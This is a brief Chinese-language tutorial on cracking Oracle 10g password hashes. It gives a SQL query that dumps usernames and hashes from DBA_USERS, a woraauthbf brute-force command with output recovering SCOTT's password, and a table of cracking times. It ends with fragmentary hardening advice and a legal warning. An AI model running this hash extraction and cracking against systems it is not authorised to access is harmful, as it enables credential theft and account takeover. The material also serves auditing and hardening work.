核心认知:拥有 DBA_USERS.PASSWORD 哈希值 ≠ 知道明文。Oracle 10g 及更早版本基于 DES 的哈希算法强度较低,易受离线暴力破解。
SELECT USERNAME || ':' || PASSWORD || ':' || NAME || ':' || HOST_NAME || ':'
FROM SYS.DBA_USERS, SYS.V_$DATABASE, SYS.V_$INSTANCE;
-- 输出示例
SCOTT:DE59105EDBF4A687:ORCL:MYPC:
保存为 password_file.txt,SID 与主机名对破解无影响,仅作标识。
# 仅字母集,长度 6,双核并行
woraauthbf.exe -p c:\password_file.txt
-- 输出摘要
Password file: c:\password_file.txt, charset: alpha, maximum length: 6, type: hash
Number of pwds to check: 321,272,406
Password found: SCOTT:TIGERS:ORCL:MYPC
Elapsed time: 164s
Checked passwords: 153,976,754
Password/Second: 938,882
| 字符集 | 密码长度 | 搜索空间 | 破解时间 (双核) |
|---|---|---|---|
| alpha (A-Z) | 6 | 3.2 亿 | ~3 分钟 |
| alphanum (A-Z,0-9) | 6 | 22.4 亿 | ~6 分钟 |
| alphanum | 8 | 2.8 万亿 | 不可行 (需分布式/GPU) |
PROFILE 限制 PASSWORD_VERIFY_FUNCTION,最小长度 10+、混合大小写数字特殊字符。SELECT ON SYS.USER$ / DBA_USERS 权限。DBA_USERS 的查询。仅在授权范围内对自有系统进行恢复性破解;未经授权获取他人哈希并破解属违法行为,严禁滥用。